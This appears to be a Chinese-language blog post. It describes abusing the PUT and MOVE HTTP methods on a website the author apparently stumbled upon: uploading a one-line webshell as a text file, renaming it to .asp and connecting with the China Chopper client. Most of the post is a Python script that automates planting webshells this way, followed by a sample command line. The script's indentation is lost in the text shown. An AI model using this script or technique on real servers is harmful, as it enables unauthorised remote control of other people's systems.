0X00 起因
今天偶尔遇到一个网站开启了PUT方法和MOVE等不安全的HTTP方法
于是想到利用PUT上传可执行脚本拿shell,可是发现不能上传.asp文件
测试了一下发现可以上传TXT等类型文件
0X01 测试
尝试一下上传一个TXT一句话木马到服务器,成功上传
使用MOVE方法更改文件名
菜刀连接一句话木马
0X02实现
为了方便上传,遂决定用python写一个脚本,实现自动化上传
脚本实现如下:
#! /usr/bin/env python
#coding:utf-8
import requests
import sys
if sys.argv[1] == "-a":
if len(sys.argv) != 4:
print("参数格式:-a 服务器地址 上传的文件")
print("例如: -a http://192.168.1.1 /root/shell.asp")
sys.exit()
if sys.argv[1] == "-a":
url = sys.argv[2]
payload = open(sys.argv[3])
oldname = "4587e3dd4272c7c8.txt"
modname = sys.argv[3].split('/')[-1]
headers = {"Destination":url + '/' + modname}
r = requests.put(url + '/' + oldname,data=payload)
if str(r.status_code)[0:1] == '2':
r = requests.request("MOVE",url + '/' + oldname,headers=headers)
if str(r.status_code)[0:1] == '2':
print ("命令成功执行,脚本地址:" + url + '/' + modname)
else:
print ("移动失败,服务器可能没开MOVE方法")
else:
print ("上传失败,服务器可能没开PUT方法")
如果服务器没有开启PUT方法
0X03 运行
这个脚本一样可以上传类似于大马的服务器端脚本
其中命令格式为:./ceshi.py -a http://192.168.1.111 /root/nianhua.asp